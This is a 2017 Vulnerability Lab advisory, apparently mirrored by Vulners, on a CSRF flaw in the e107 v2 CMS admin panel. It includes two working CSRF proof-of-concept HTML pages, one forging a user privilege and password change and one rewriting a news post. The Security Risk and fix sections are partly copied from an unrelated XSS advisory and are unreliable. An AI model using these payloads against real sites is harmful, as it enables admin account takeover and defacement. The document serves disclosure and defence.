Document Title:
===============
e107 v2 Bootstrap CMS - CSRF Web Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2083
Release Date:
=============
2017-07-05
Vulnerability Laboratory ID (VL-ID):
====================================
2083
Common Vulnerability Scoring System:
====================================
3.2
Vulnerability Class:
====================
Cross Site Request Forgery
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Powerful Website Content Management System Designed for Bootstrap v3.
Get started and make e107 the engine of your fully-featured site today!
(Copy of the Vendors Page: http://e107.org/ )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a client-side cross site request forgery vulnerability in the official e107 v2 Bootstrap CMS.
Vulnerability Disclosure Timeline:
==================================
2017-06-19: Researcher Notification & Coordination (Security Researcher)
2017-06-19: Vendor Notification (Security Department)
2017-07-06: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
e107
Product: e107 Bootstrap - Content Management System 2.x
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Low
Technical Details & Description:
================================
A cross site request forgery web vulnerability has been discovered in the official e107 v2 Bootstrap CMS content management system.
The issue allows remote attackers to manipulate client-side browser to web-application requests, to execute service functions
via non-expired session credentials.
The cross site request forgery vulnerabilites are located in multiple admin cms module POST method requests.
In the absence of a security token an attacker can execute arbitrary codes against administrator accounts to permanenly delete
the pages of the website via panel. Due to the infrastructure the issue becomes more critical without a checkbox to confirm the
delete of any page via panel module.
The security risk of the csrf vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2.
Exploitation of the client-side vulnerability requires no privileged web-application user account and only low user interaction.
Proof of Concept (PoC):
=======================
PoC Codes:
(no anti-CSRF token has been used)
1. To Change user details/privileges (where user's id is 2)
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/e107/e107_admin/users.php?mode=main&action=edit&id=2", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------74101875414413332931976179921");
xhr.withCredentials = true;
var body = "-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_ban"rn" +
"rn" +
"0rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_name"rn" +
"rn" +
"testrn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_loginname"rn" +
"rn" +
"testrn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_login"rn" +
"rn" +
"rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_customtitle"rn" +
"rn" +
"rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_password_2"rn" +
"rn" +
"h@ck3d123rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_image"rn" +
"rn" +
"rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_email"rn" +
"rn" +
"[email protected]" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_hideemail"rn" +
"rn" +
"1rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_hideemail__switch"rn" +
"rn" +
"1rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_admin"rn" +
"rn" +
"1rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_admin__switch"rn" +
"rn" +
"0rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_signature"rn" +
"rn" +
"rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="etrigger_submit"rn" +
"rn" +
"updatern" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="__after_submit_action"rn" +
"rn" +
"listrn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="submit_value"rn" +
"rn" +
"2rn" +
"-----------------------------74101875414413332931976179921--rn";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
2. Add/modify news (where news's id is 5)
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/e107/e107_admin/newspost.php?action=edit&id=5", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------116765692315936665322329760");
xhr.withCredentials = true;
var body = "rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_category"rn" +
"rn" +
"1rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_title"rn" +
"rn" +
"csrf test lulzrn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_summary"rn" +
"rn" +
"hacked ~ CSRF token bypassrn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_render_type[]"rn" +
"rn" +
"0rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_author"rn" +
"rn" +
"1#Thugzrn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_body"rn" +
"rn" +
"blablarn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_extended"rn" +
"rn" +
"blablarn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_thumbnail[0]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="mediameta_news_thumbnail[0]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_thumbnail[1]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="mediameta_news_thumbnail[1]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_thumbnail[2]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="mediameta_news_thumbnail[2]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_thumbnail[3]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="mediameta_news_thumbnail[3]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_thumbnail[4]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="mediameta_news_thumbnail[4]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_sef"rn" +
"rn" +
"csrf-test-2rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_meta_keywords"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_meta_description"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_allow_comments"rn" +
"rn" +
"0rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_allow_comments__switch"rn" +
"rn" +
"1rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_start"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_end"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_datestamp"rn" +
"rn" +
"1497715113rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_class"rn" +
"rn" +
"0rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_sticky"rn" +
"rn" +
"0rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="submitted_id"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="submitted_id"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="etrigger_submit"rn" +
"rn" +
"updatern" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="__after_submit_action"rn" +
"rn" +
"listrn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="submit_value"rn" +
"rn" +
"5rn" +
"-----------------------------116765692315936665322329760--rn";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
Solution - Fix & Patch:
=======================
The vulnerability can be patched by checking and filtering the input values from the vulnerable module. Dont forget to fix the output aswell (htmlspecialchars for example).
Security Risk:
==============
The security risk of the cross site scripting vulnerability in the wordpress newletter plugin is estimated as medium (CVSS 3.2).
Credits & Authors:
==================
NirmalThapa [twitter.com/nirmal_4n_] - https://www.vulnerability-lab.com/show.php?user=NirmalThapa
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.
Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.
Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation